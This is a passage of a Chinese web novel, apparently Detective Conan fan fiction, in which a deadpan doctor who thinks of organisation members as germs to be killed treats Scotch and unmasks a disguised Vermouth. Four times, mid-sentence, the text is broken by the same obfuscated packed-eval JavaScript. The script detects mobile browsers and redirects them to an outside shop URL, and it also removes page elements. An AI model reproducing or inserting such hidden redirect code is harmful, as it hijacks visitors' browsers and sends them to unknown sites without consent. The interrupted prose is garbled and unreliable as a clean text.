下一秒,他愣在了原地。
白炽灯光从正上方倾泻,毫无保留地勾勒出男人劲瘦的腰身,以及泛着不正常潮红的皮肤。
猫眼男人双手拽着褪到臂弯的连帽衫,湛蓝色的眼幽幽望向他,让头孢面无表情地倒吸一口冷气:
“你都烧到开始脱衣服了?”
苏格兰:“……”
不是,这话怎么接啊!
心一横,苏格兰索性将褪到一半的衣服全部脱掉,露出大片白皙皮肤,拿起手机快速打字:[是因为……]
“别打字了。”
诶?
突然间,手腕被微凉的温度覆盖,视野天旋地转。直到神经反应过来,苏格兰才发现自己已然倒在了旁边的诊疗床上。
白发青年拉过椅子,在他身边坐下,把听诊器戴好,冰凉的听头就这么贴上他滚烫的胸口。
苏格兰一颤,“唔……”
“乖一点,”头孢的声音异常平静:“吸气。”
“……”苏格兰吸气。
“呼气。”
他呼气。
听诊器在皮肤上缓缓移动,金属头曳过锁骨下缘,于心口搏动处游移。白发青年的指尖偶尔会剐蹭到他的胸口,凉意轻轻勾带着,却翻腾起比发烧更晦涩的热度。
呼……难以呼吸,这就是波本说的下药?
可明明他们的症状不同…呃……
“心率偏快。”头孢挪开手,收回听诊器,“看来是反复发烧,你的体质太差了。”
他看了一眼男人手背上昨天输液针留下的淤青,突然开口:
“这样,先试试物理降温吧。”
不是他突然变卦,而是既然紫色杆菌说要给他联系行动组的杂菌,那他似乎就没了必须留下猫眼菌的理由。
那正好,先试试物理杀菌的效果好了。
这么想着,头孢眼中寒光一闪,起身走到器械柜前,从里面取出一瓶医用酒精和一包脱脂棉,转身道:
“躺好,我要开擦了。”
苏格兰顿了顿,尽管觉得哪里不对,可他依旧依言放松身体躺在床上,让自己占的空间小一点。
头孢拧开酒精瓶。
纱布浸透、拎起,微凉的液体顺着白色纤维往下滴。他将之用镊子夹好,往苏格兰的胸口贴上去。
凉意润开,苏格兰紧咬住下唇,脖颈微微仰起,试着更快地平复呼吸,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188677|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可诡异的触感让他的喉结上下滚动,就连脚趾都蜷起来——
头孢却没停。
一次,两次。
第三次,第四次……沿着胸口反复圈划,白发青年用酒精擦拭着男人过热的皮肤,加速散热。
每次换成新的棉花时,苏格兰都会抖一下。可他始终没出声,只是攥着床单的指节越来越白,牙关咬得更紧,下颌线绷成一道锋利的弧。
不知第几次换掉药棉,头孢这才停了手。
他看着苏格兰脸上更明显的红,以及身上的汗,有些纳闷地摸了一把对方的额头,“怎么会……”
酒精杀菌竟然不起作用?怪不得昨天他给猫眼菌打针时,对方对碘伏完全没反应,看来需要试试其他方法。
从床尾拉过叠好的薄被,抖开,整个盖在对方身上,头孢将被子边缘掖好,把苏格兰从头到脚裹起来。
苏格兰从被子里露出一双眼睛:[怎么会什么?]
头孢诚实回复:“你的热度退得很快,有些不合常理。”
心说你拿他试药用的药也不合常理,苏格兰叹了一声,决定回去找另一个基地的医疗队好好检查身体,看看能不能发现残留药物,便开始仔细打量医务室。
墙上多了血迹,桌腿旁有一道细长的划痕,木头茬还泛着白,就连空气里也残留着消毒水无法完全覆盖的、极淡的铁锈味。
苏格兰躲在被子里打字,[昨晚医务室被袭击了?]
头孢正在整理用过的酒精棉,瞥见手机上的消息,应了一声:“对。”
苏格兰抬起眼,猫眼里那种惯常的平静收敛几分,换上猎人注视猎物时的专注:
[你不好奇为什么?]
头孢把托盘放回处置台,转过身认真点头:“好奇,你能告诉我吗?”
苏格兰:……这人对自己的坦诚毫无自觉。不,说到底这究竟是坦诚还是伪装呢?
他决定拿出一点情报作为诱饵:[训练营的定位就是组织筛选人才的修罗场。]
[最初是朗姆的亲信负责训练营。而在这里,医生的职责不是救人,是判断谁值得救。]
[不值得的,就让他死。]
空气静了几秒,苏格兰继续打字:[可第一位医生因为心存善念,救下了一名预备役。结果预备役在离开训练营后被查出是卧底,朗姆很愤怒,将医生与卧底一起处理掉了。]
他轻描淡写地说完,抬起眼看向头孢:
[这就是对组织不够忠诚的下场。]
头孢的睫毛轻轻扇动一下,苏格兰收回视线,[从那以后,医生的地位就发生了变化,杀死医生就成了训练营的毕业礼之一。]
[不是明面上的规则。没人规定你要这么做,但所有组织成员都知道,这么做会得到什么。]
“……得到什么?”
[得到一个证明,证明你抛弃了人性,连为你治疗的人也能痛下杀手,证明你符合组织的期待。]
成了一个好用的工具。
他顿了顿,继续:[当然,除了这种虚无缥缈的承认,还有稀缺药品。麻醉剂、抗生素、强效镇痛药……医务室是预备役唯一能拿到这些的地方,杀掉医生,药品就是战利品。]
头孢想了想:“还可以在确保自身安全的前提下,让对家得不到治疗?”
苏格兰微微颔首:[也有这方面的原因。所以综合这些,在你来之前已经死掉了多名医生,前一任就在一周前死在了这张诊疗床上。]
头孢恍然,“那看来冰箱里的五脏俱全是前一任的了。”
苏格兰:???
“不说这个,”头孢体贴地为病号避过血腥话题,“看完你的解释,我有一点疑惑。”
[什么?]
“你说训练营由朗姆亲信负责,是在‘最初’发生的事,也就是说现在不是了,对么?”
将刚刚记下的名字从心里翻找出,头孢直白道:“所以,现在的训练营是谁在负责?”
苏格兰打字的手顿住了。
14.十四颗头孢
苏格兰没有立刻回答。
他只定定望进白发青年的眼睛,像注视一口黑洞洞的井,随后慢吞吞敲出一行字:
[如果训练营的人继续刺杀,你接下来要怎么处理他们?成为下一个心软的医生?]
“那倒不会。”头孢想都没想就否定,“既然这是默认的规矩,无法回避,那我就为他们树立一个新的规矩,但绝对不可能心软。”
放过杂菌不就等于丧失药效?这简直就是在打他抗生素的脸。
不清楚妖精的坚持,苏格兰一怔,[是么。]
仰躺着注视白发青年认真的脸,苏格兰忽然想起那道逆光的背影。
记忆里,卷发少年从尸体前踏过,在或惊惧或审视的目光下占领了基地,留下宣言:“这个训练营就由我来接手,你们要杀谁都无所谓,我不会阻止。”
“只要记住一点——”
“从现在开始,我才是你们的规则。”
当初那人说出这话时,和青岛纯生是一样的想法么?
不,应该不一样。毕竟松田他……
收回思绪,苏格兰低头,在屏幕上打字:[朗姆。]
他顿了顿,在前面加上几个词:[名义上是朗姆,但真正的决策者是加拿大。这个训练营,包括整座基地的负责人都是加拿大。]
“加拿大么,我知道了。”
头孢记下又一个代号,转头对系统道:【系统,留下猫眼菌真是个不错的选择。】
系统认真倾听:【怎么说?】
头孢感慨:【训练营可是紫色杆菌都不说的情报,猫眼菌却全说了,足以见得他对主治医师的信任。】
虽然被杂菌信任很微妙,可他到底还是最终受益人……这么说来,他是不是该送猫眼菌一点礼物?
说干就干。趁对方穿衣服时,头孢转身从饮水机接了一杯热水,塞到苏格兰手里,一脸认真:
“给,多喝热水。”
苏格兰:[……谢谢。]但这个句式也太直了吧!
“不客气。”头孢欣然接受道谢,“你要在这里留宿还是回去?”
苏格兰斟酌片刻,道:[回去吧,热度已经退了。]
而且,他还要回去查查看,青岛纯生究竟用了什么药,能这么神不知鬼不觉地让他和波本都中招。
感受着身体的确好得差不多,猫眼男人将水杯放在诊桌上,作势要离开。而见对方一副不喝热水的架势,头孢眸光一闪,转而拿起那盆仙人掌——
“既然不喝水,那这个给你。”
苏格兰:啊??
他低头看着掌心的小陶盆,仙人球的刺短短的、软软的,顶端的小花有些蔫,但粉白的花瓣还是很可爱。
猫眼男人茫然地看向头孢,后者没有解释,只是将手揣进白大褂口袋:“路上小心。”
[……再见。]
第二次推拒不太好,但如果是暗示……嗯,回去查一下仙人球的花语吧。
把那盆仙人球捧在怀里,苏格兰像抱了一只会扎人的刺猬那样,小心翼翼地用另一只手拉开门,身影消失在门外。
门关上,系统的声音突然响起,在头孢的识海里激情落泪:
【天啊宿主!给对方喝热水,还知道送礼物!你以前明明只会杂菌砍一赠二的!你长大了呜呜呜嗷嗷——】
“谢谢夸奖。”
将已经凉下来的水倒进洗手池,头孢也很是欣慰于自己的计策:“而且我还给他准备了两种死法,自由又民主,你觉得怎么样?”
【对的对的对…啊?不对这对吗!】
系统回味过来:【什么两种死法?刚刚你不是在关心他?】
“当然不是。”头孢眼底满是诧异,“我在尽职尽责地完成任务杀菌。”
【……那你又是热水又是送礼物?】
“热水可以把杂菌烫死,仙人掌有消炎作用,可以杀菌,实在不行还可以增加感染破伤风的风险,你不觉得很适合杀菌么?”
系统:【……】
“不过之前酒精消毒失败了,所以我也不确定猫眼菌的抗性如何。”头孢摸摸下巴,末了叹息一声:
“希望那盆仙人掌的刺硬一点,能把他扎死。”
系统:【…………】
系统:【我现在感觉自己鼻子红红的头发七彩的,你有什么头绪吗?】
你还不如把它扎死!让这个世界早死早超生算了啊啊啊!
*
“阿嚏!唔……”
还是有点感冒么。
不清楚头孢对仙人掌的‘期待’,苏格兰揉揉发酸的鼻子,捧好花盆,走出基地。
雨后的凉意扑上来,他单手拢了拢兜帽,就见前方灯光闪了闪。
抬眼望去,就见一辆颜色十分骚包的紫色跑车正停在斜对面的路灯下,有一人倚着车门,手里夹了根点燃的烟,发尾被夜风吹得微微扬起。
萩原研二抬手招了招:“呦!”
苏格兰脚步顿住。
烟雾自萩原研二指间升起,模糊了他的眉眼,让苏格兰陡然生出一种莫名的知觉。
他见过萩原研二很多种笑。轻快的、促狭的、温柔的,以及无机质的冷意。可对方此刻却像站在聚光灯下,知道所有观众都在看他,于是演得更加卖力。
嗯……多少有些懂了。
苏格兰站在原地,抱着仙人掌等待对方的先手。萩原研二则从车门边站直,双手插进风衣口袋,一歪头:
“你是替波本来试探的吧,苏格兰。”
苏格兰低头打字,屏幕的光照亮他的脸:[是我想来的。]
萩原研二嘴角的弧度一点一点收了回去。
他取下烟,垂眼看着那点燃烧的烟草,声音不大不小,“武器就该有武器的样子啊。”
苏格兰眼皮一跳,而半长发青年还在自顾自说着:“现在是,当初也是……”
“为什么不能老老实实按照我和小阵平的安排走呢?”
他边说边走,最终站定在苏格兰面前。夜风吹过,苏格兰静静看着萩原研二,不知过了多久,后者的语气忽然恢复了轻快:
“好啦,不逗你了~我只是想说,偶尔你也要依靠一下我和小阵平哦,毕竟我们可是一个训练营出来的呢。”
“接下来我送你回去吧~”
不等苏格兰答应,萩原研二就将烟掐灭在随身携带的小金属盒里,而后拉开副驾驶的门。
“上车,”萩原研二一挑眉,“这么晚还抱着盆仙人掌在路上走,被别人看见,还以为鼎鼎大名的苏格兰大人转行搞园艺了呢。”
苏格兰叹了口气。
亮紫色的马自达驶离基地。萩原研
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192828|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二握住方向盘,直至后视镜里已然没了基地的影子,这才耷拉下肩膀,大声叹息:
“好——累!那老头的眼线真是无处不在。话说小诸伏,你知道我刚才那些话是说给谁听的吧?”
真名是诸伏景光的苏格兰颔首道:[一开始不清楚。不过后来的那些话……我猜是朗姆。]
只有朗姆知道苏格兰与加拿大、田纳西的往事,因此萩原研二才故意这么说。
而由于加拿大的势力这些年已经可以和朗姆分庭抗礼,所以那位二把手一直在找机会钻空子,监视加拿大身边的红人田纳西也是必要的。
想到半长发青年在务室门口说的那些茶言茶语,苏格兰进一步悟了:
[朗姆在医务室附近也安排了监视的人?]
萩原研二承认:“是。估摸是听到了医生先生的风声——毕竟我们可都在往他那边跑呢。”
他忽然看向苏格兰膝盖上那盆仙人掌,挪谕道:
“只是没想到,第一个偷跑的竟然是你啊小诸伏,就连我都没收到他的礼物哦~我们去哪里?”
[送我去波本手底下的医院就可以。]苏格兰眼神漂移一瞬,[还有这只是谢礼。为了套出青岛君的态度和加入组织的目的,我给他讲了训练营的一点过去。]
“哇哦,那他对组织是什么态度?”萩原研二控制车子丝滑地拐了个弯。
[反应平平,但某些观点上他和松田有点像。]
“诶,你也发现了吗,小阵平和医生先生都是很执拗的人哦。”
苏格兰迟疑了:[是。以及他说加入组织是为了履行医生的职责。]
“噗,”萩原研二笑了,“还真是他能说出来的话啊。”
他扫了眼飞速后退的夜景,放轻声音:“今天逛街时,他对我的问题也有一样的回答,所以我答应要安排人手保护他。”
“深陷组织还敢说这句话的人,我可不想让他死得太快。”
苏格兰一个字一个字敲出来:[他已经卷进来了。]
萩原研二点头,“对。训练营是朗姆和小阵平的博弈场,医生只不过是这场博弈里最不起眼的耗材之一。”
“而上一任耗材只用了六个月。”
[那这一次,青岛君估计只有三天。]
苏格兰打完这行字,把手机屏幕扣在膝盖上。
“三天啊……”
萩原研二的声音小得几乎听不清,“那就让他活过三天。”
“如果他值得,还可以让他活过三周、三个月甚至三年。”
但前提是【值得】。为此,他们需要反复的试探青岛纯生,看看他究竟是伪装起来的野兽,还是真正的——
伙伴。
“叮铃!”
“咦?”
萩原研二趁着红灯点开邮箱,一目十行后立刻蹙起眉看向苏格兰,“小诸伏。”
苏格兰给了他一个疑惑的眼神。
萩原研二眉头皱得更紧了,“我的下属汇报,说波本去了医务室。”
“可没记错的话,波本今晚这个时间有一个任务?他可是特意找小阵平要了炸|弹,应该不会突然改时间。”
这么说着,他看向神情陡然凝重的猫眼男人,一字一句:
“那么,现在进医务室的那个波本——”
“是谁?”
15.十五颗头孢
与此同时,朗姆的私人基地内。
“朗姆大人,以上就是我们的人窃听到的全部内容。”
录音设备里,声音断断续续传出,将萩原研二与苏格兰的对话悉数转播。随后下属按下暂停键,恭敬地垂首等待指示。
戴着单边眼罩的光头男人——朗姆靠在椅子里,一手捏着雪茄,另一只手有一搭没一搭地敲着扶手。
“田纳西说得倒是没错。”他忽而冷笑一声,“武器就该有武器的样子,看他们关系不怎么样,我就放心了。”
下属适时附和:“是,当初苏格兰和田纳西、加拿大走得那么近,属下还担心……”
“担心什么?”朗姆嗤笑,“担心他们三个重归于好?”
“毕竟苏格兰的能力很强,不愿放手也是正常的。”下属小心翼翼地斟酌用词,“更何况,他们三个是从小一起长大的情分……”
“情分?”
像是听到什么好笑的笑话,朗姆把雪茄按灭在烟灰缸里,语气意味深长:“一起长大的情分有什么用?关系永远敌不过切实的利益。不过——”
他顿了顿,在下属战战兢兢的眼神下,眸光变得幽深:
“苏格兰还是跟田纳西上了车?看来他们还没放弃这把刀。”
也是,当初那三个人从训练营里杀出来时,可是给他找尽了麻烦。
要不是后来他抓住机会挑拨,让加拿大亲手把苏格兰丢进死局当诱饵,这三个刺头恐怕早就抱团成更大的麻烦了。
这么一对比,波本可真是一颗好用的棋子,当初让波本去抢苏格兰果然是对的。
想到与自己有着合作关系的波本,朗姆话题一转:“波本现在在哪?”
在那个基地里,波本能行使的权力还在加拿大之下,这样可不行。他得找个机会,让波本得到的权力更大一些,而那个新来的医生或许就是突破口。
下属忙道:“波本大人他……”
“朗姆大人——!”
话还没说完,门外传来急促的脚步声。一名情报人员推门而入,脸色慌张而古怪:“朗姆大人!波本的动向有异!”
朗姆独眼一眯,“说。”
“是。波本今晚的任务是处理一个叛徒,按照计划,他现在应该还在目标建筑附近布置炸|药。”
他咽了口唾沫,继续:“但就在三分钟前,基地的暗哨汇报,波本突然出现在训练营,二话不说直奔医务室去了。”
“哦?也就是说现在有两个波本?”
“是。”
朗姆思索片刻,忽然笑了,“是贝尔摩德。”
下属愣住:“贝尔摩德大人?难道是她易容成波本的样子……”
“看来她要去医务室找那个青岛纯生。”朗姆接上他的话,语气里满是玩味,“真是太有趣了。”
他站起身看向窗外,月光把他的影子拉得很长:“那个青岛纯生,到底是什么人?”
下属也反应过来,快速调出资料:“据说青岛纯生是贝尔摩德大人带回来的,和波本大人以及苏格兰、田纳西都有过接触。”
“是么。”朗姆咀嚼着这句话,眼神越来越深沉,“田纳西是加拿大派去的,苏格兰是波本派去的,波本又与我们有合作关系。”
他望向下属的眼,笑容不寒而栗:“那么,我也得往那个医生身边插个人才行,不然就不公平了,不是么?”
下属立刻意会:“您的意思是……?”
“呵呵。”
独眼老人将笑闷在胸腔里,目光幽幽望向远处被云逐渐遮蔽的月,半晌后似自语般呢喃:
“既然那位医生能和狙击手情报员同时周旋……”
“那医生和律师,应该也聊得来吧。”
*
头孢写字的手顿住了。
【宿主?】系统冒头,【怎么了?】
头孢沉默了两秒,抬眼看向窗外,蹙眉道:“有点恶寒,就像周围的菌群数量一下子多起来的感觉。”
系统:?
这什么恐怖故事!
白发青年耸耸肩,继续记录。
自打苏格兰离开后,头孢就把灯关掉了。虽说组织干的都是见不得人的勾当,可这座基地并不是纯粹的地下建筑。
这里外部被伪装成射击俱乐部,所以头孢的医务室也有扇正常的窗户,任由月光洒进来,将诊桌照出一片银白。
系统瞄了一眼奋笔疾书的妖精,【实验记录?你写这个做什么?】
“记一下目前接触到的杂菌的特征和弱点,进行对比实验,看哪种杀菌方式最有效。”
头孢的语气像在讨论午餐吃什么,“金毛菌警惕性高,猫眼菌体质弱但抗药性强,紫色杆菌……”
他顿了顿,“暂时没找到弱点。”
系统挠挠不存在的头:【呃…虽然你杀心坚定,但咱们能不能稍微考虑一下任务的其他解法?】
“比如?”
【比如你就真的没想过保护他们吗?】
头孢笔尖一顿,略显差异地挑眉:“保护?”
【对啊!保护!不是杀菌!】系统痛心疾首,【要不是热水事件和仙人掌,我还以为你终于开窍了!结果你从头到尾想的都是怎么把人家扎死!】
这个任务到底还能不能完成了?别开局拯救世界就从入门到入土啊!
头孢想了想,诚恳回答:“没事。我会让他们承认我的能力的。”
一次杀不死,那就多来几次试试!
总觉得哪里不对劲,系统还想再说什么,就听咚咚咚的敲门声响起。
头孢将笔记本随手推开,起身走到门口,开门。就见金发男人站在门外,双臂环抱,紫灰色的眼自下而上打量着他,带着点漫不经心的玩味。
而后男人微微一笑,“不请我进去?”
头孢注视着那张脸,突然开口:“进来吧。”
让开位置请门外的金发男人进来,头孢这才关上门,转身道:“你是谁?”
波本回头,挑眉:“什么?”
“我问你是谁。”手腕一翻,针筒已然握在掌心,头孢认真道:“别以为戴上金发、再把脸涂黑了就是金毛菌,我的嗅觉很敏锐。”
波本沉默一瞬,“你平时就是这么跟我说话的?”
他的态度过于平静,压低的嗓音里啜着几分危险,让系统忍不住对着头孢隔空戳了又戳。然而出乎意料地,下一秒,那张属于波本的脸上露出了一个笑。
无奈中带着几分妩媚,像变脸一样,整个人的气质瞬间从冷硬切换到风情万种。
‘波本’勾起唇角,开口却是女人的声音:“你还真是敏锐。”
她抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197548|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起手,在身上几个位置按了按,挺拔的身形就像泄了气的气球,一寸一寸地缩水,瞬息变作属于女性的玲珑曲线。
最后,她揭下了那层薄薄的、与真人无异的假面。
月光下,一张精致艳丽的脸露出来。金发碧眼,红唇微勾,美得极具侵略性。
“我的易容术师承里世界最厉害的怪盗,”她歪头看着白发青年,眼里满是审视与兴味,“按理说不该有破绽。小家伙,你是怎么发现的?”
头孢看着她,没有多余的表情变化,“你说过还有几天就回东京,而且你和金毛菌的味道不一样。”
贝尔摩德挑眉:“味道?”
“对。”头孢在心里对系统说:【这群杂菌怎么回事,像是刷新点直接放在了医务室门口。】
有点吵,以及这个病原体组织的杂菌都这么闲吗?
系统汗颜:【你竟然才发现?因为你太吸引他们啦!】
就这样清新抽象不做作的新人,放在恐怖组织里简直就是一朵奇葩,谁不想来看一眼啊?比如现在外面还有人在听墙角呢!
不是很懂系统的话,头孢看向金发女郎等待对方的下文。贝尔摩德显然更在意味道这个词,她往前走了两步,凑近头孢,语气暧昧:
“味道啊……”
她绕着白发青年转了半圈,高跟鞋敲击地板,发出清脆的声响。
“我一下飞机就过来了,就是想看看你的情况。没想到你在这里混得如鱼得水,和波本的关系都这么好了——连味道都一清二楚。”
走到诊桌边,贝尔摩德随口问:“刚刚从你这离开的,是波本?”
“那倒不是。”头孢坦然,“是猫眼菌。”
贝尔摩德转头看向头孢,表情微妙:“猫眼菌?”
她是魔女菌,那猫眼菌又是什么鬼?
“嗯。”头孢想了想,他其实不太擅长记不是自己起的名字,“叫什么来着……”
系统提示他:【苏格兰。】
“哦对,苏格兰。”他说。
贝尔摩德的表情更微妙了。
她看向头孢,眼神复杂:“你还挺有能耐的,竟然只用了三天就把苏格兰和波本同时……”
没说下去,贝尔摩德意味不明地笑了一下。
她的目的与之前交代给青岛纯生的一样,只是下飞机来看看她的小医生而已。
就算再坏,贝尔摩德也不至于像波本推理得那样,将救命恩人送进火坑里还不管不问。
再说,青岛纯生此人身上还有着她看不透的地方,她不会在对方给予自己的乐趣消失前抽离注意。不过,这些看不透的点说不定会威胁到她本人,为此贝尔摩德才将其丢到这边,让其他人进行试探。
而现在,是时候回来摘取试探的成果了。
目光落在诊桌上,擅于揣摩人性的女人视线一凝,发现那里正摊开着一本笔记本。雪白的内页在月光照耀下格外显眼,也足够将那清秀工整的笔迹映照清晰。
是日记?还是报告?
好奇心驱使着她凑近诊桌。然而十秒后,看清所有内容的金发女郎却在白发青年的疑惑下,猛地往后窜了一步!
头孢:?
系统:【?】
贝尔摩德欲言又止、止言又欲:“你……”
“记的这些都是什么?”
16.十六颗头孢
贝尔摩德曾经觉得,已经没有什么事物能让她感到震撼了。
她在里世界混了太久,见过太多,变态的、隐忍的、疯狂的、伪善的……人性最阴暗的角落她如数家珍,以至于她早就对‘惊讶’这种情绪免疫。
——直至她看到了青岛纯生的笔记本。
【一号金毛菌:接触三次。很容易烧,身体素质不行,按在墙上会脸红,身体会抖,适合粗暴一点。考虑下次从背后靠近,测试极限反应。】
【二号猫眼菌:接触两次。性情温和,摸上去比看起来结实。注:硬灌不行,下次试试软磨硬泡,擦身体的时候很乖,外面对我没反应,那就找机会试试里面。】
【三号紫色杆菌:还没碰过。性格活泼,放得开,暂无其他弱点,经常提到小阵平菌,或许两个一起能发现新的突破口。】
【接触难度:紫色杆菌>金毛菌>猫眼菌,后续可以尝试更多的深入接触,争取一个月内全部拿下。】
“……”
贝尔摩德在这几行字上来回扫了三遍,不得不承认每一遍都加深了她对这个世界的怀疑。
按在墙上会脸红?
外面没反应就试试里面?
两个人一起?全部拿下?
她原以为只是一些医疗记录或是日记。虽说组织成员记日记本身就很奇怪,可青岛纯生是后来的,做点普通人会做的事也情有可原。
——但这真不是什么○爱笔记吗!!
为防自己误会了对方,贝尔摩德还是斟酌着问:“……这些是什么?”
“接触记录。”头孢诚实回答,顺手拿起笔记本翻了翻,“记录他们的反应和弱点,以后深入时用。”
贝尔摩德哽住:“……那你对他们的评价还挺具体的。”
头孢感觉自己找到了知音,语气都柔和了:“嗯。不过还在观察期,有些数据不够完整,以后我会继续记录。当然,最好能把他们同时聚在一起。”
这样他还能搞个全方位消杀。
要知道,他可是一直惦记着酒精消毒大法失效的问题,想在别的菌身上多试试。说不定这次失败只是猫眼菌的细胞壁太厚了,其他杂菌就没这个免疫呢?
贝尔摩德听到这里,已经开始庆幸自己是个演员了。可尽管她的表情管理早就刻进了DNA,但还是用了点时间才找回自己的声音:
“同、时?”
“对。”面瘫妖精勾起一抹自认和善的笑容,“同时。”
贝尔摩德忽然发现看人时闭上眼睛会很舒服:“日后你翻车了,千万不要说我们有关系。”
头孢:?
“不,没什么。”贝尔摩德摇摇头,笑得有些勉强,“今天我来只是顺路看看,你习惯这里就好。”
生怕自己也成为笔记里的一员,贝尔摩德忙找了下飞机要倒时差的借口迅速抽身。高跟鞋敲击地面的声音比来时还快几分,像是身后有狗在追。
到门口时,她忽然停住,回头看了眼白发青年。
月色下,白发青年安静地站在原地,周身笼着一层浅淡银辉,一对黑眸平淡无波,完全没有任何做了亏心事的自觉。
配上那张清冷禁欲的脸,活脱脱一个刚从医学院毕业的骨科医生,还是钱途大好、还没秃顶的优秀品种。
——可惜啊,谁能想到呢?
贝尔摩德摇了摇头,推门而出,决定回酒店好好消化一下今晚看到的情报,顺便想想要不要把这件事分享出去。
毕竟这么有意思的事,不该只有她一个人被创吧?
送走贝尔摩德,头孢反锁上门,转头敲了敲识海里的系统:【魔女菌为什么说我会翻车?明明我连车都不会开。】
系统哀嚎一声:【你成精时到底加载了什么语音包啊!救世主哪有你这样的……咦?】
注意到手机忽然震动,系统与头孢皆是一愣,后者点开邮件:
[明天早六点我去接你。有个任务需要你混入医院,帮我拐个人出来。顺便,我会给你介绍我物色好的行动组成员哦~(飞吻)——Tennessee]
系统一下子支棱了:【哦哦是田纳西!太好了,那个行动组成员说不定又是触关键人物呢!】
头孢也很欣慰,“原来如此,杂菌图鉴要更新了么。不过就是可惜,明天的计划要顺延了。”
【等等等等——】系统警觉起来,【你原本打算明天干什么来着?】
头孢眸光一厉:“去给训练营的杂菌制定新的规则。”
【……你还真打算那么干啊?!】
“不然呢?”头孢的语气理所当然,“不想统治杂菌的头孢不是好抗生素。”
但既然有新杂菌解锁,那训练营的优先级就先排在后面,毕竟这里的杂菌跑得了和尚跑不了庙,他可以慢慢想办法对付。
只是混入医院……
头孢顿了顿,内心困惑。
总感觉这种事不应该由他做,他的责任不是治疗吗?以及他是不是忘记了什么事?
算了,既然会被忘记,总归不是什么重要的事。
翌日,六点整。
系统前脚提出休眠恢复能量,后脚头孢便听到了敲门声。
打开门,今天的萩原研二换了一身休闲装,看上去不像出任务,倒像去郊游。而后这位情报员看到依旧穿着一身白风衣的头孢,表情夸张地长叹一声:
“诶~还是老样子啊,你就没有别的衣服吗,医生先生?”
“衣服会影响任务?”头孢还真没有。
“那倒不是啦。”
萩原研二被噎了一下,也不恼,仅歪着头打量他。半长发男人的视线从头孢的白发一路滑到白风衣的下摆,最后若有所思地轻声说:
“唔,虽然白色和你很搭,但真想看看你穿黑色是什么样子呢。”
他顿了顿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204700|196426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
语调玩味:“医生先生尝试过黑风衣吗?”
“有过,”头孢锁上门,跟在对方身侧,“但这种穿法在美国时被投诉了,就没再穿。”
“诶?”萩原研二诧异:“投诉理由是什么?”
怎么会有人投诉穿衣风格啊,还是在穿衣自由的美国?
头孢站住脚步,扭头对上那双紫罗兰色的眼,语气深沉:“理由是,那条街的细胞频繁在夜里看到我的头在半空飘。”
萩原研二:“……那确实不能穿了。”
不过这么一说,白发+黑衣服这个组合还真蛮恐怖的,就像东南亚的飞头蛮一样啊!
暂时放弃将白发青年‘染黑’的念头,萩原研二与对方一起上了车。
车子启动,驶离训练营,融入东京清晨的车流,半小时后顺利停在一家医院门口。
头孢抬头,看见门牌上写着几个大字——
米花中央医院。
“这次的任务是救自己人哦。”萩原研二熄了火,转头凑近白发青年,眨了眨眼:
“大概就是我们的‘自己人’前段时间负伤住院,结果行踪被公安与FBI发现了,两个组织打算在今天抓捕他。”
又是公安么。头孢挑起一侧眉梢:“组织不是有自己的医院?”
为什么还会住在这种不安全的地方?以及FBI和公安合作了?他怎么不知道。
萩原研二耸耸肩,“医生先生还没发现吗?组织的人在组织的地盘上也不一定安全哦,就像你在训练营里的处境一样。”
他手指在方向盘上敲了敲,眼底多了几分深意,低低笑着:
“只要有利害关系,就会有无数人想要你的命。到了这种时候,最危险的地方反而是最安全的地方。”
只可惜,他们这次被条子发现了行踪。其实萩原研二已经怀疑他们身边有卧底了,但这种事没有告知青岛纯生的必要。
他如今要做的只有一个,那就是将这位新医生送去‘自己人’面前,让对方见一见青岛纯生,然后带着两人离开此地,仅此而已。
闻言,头孢要推车门的手一滞,“也就是说,要救的其实是个好菌?”
萩原:嗯?什么好菌?
不等萩原研二回答,白发妖精已然有了答案,自顾自点了头:
“明白了,我一定会将他完完整整地救出来。可公安为什么不直接上去抓人?”
萩原研二抓抓头发,“虽然不知道你明白了什么,但为什么不直接抓人这一点,我倒是可以告诉你。”
放下手倚在窗边,半长发青年半张脸隐在阴影里。
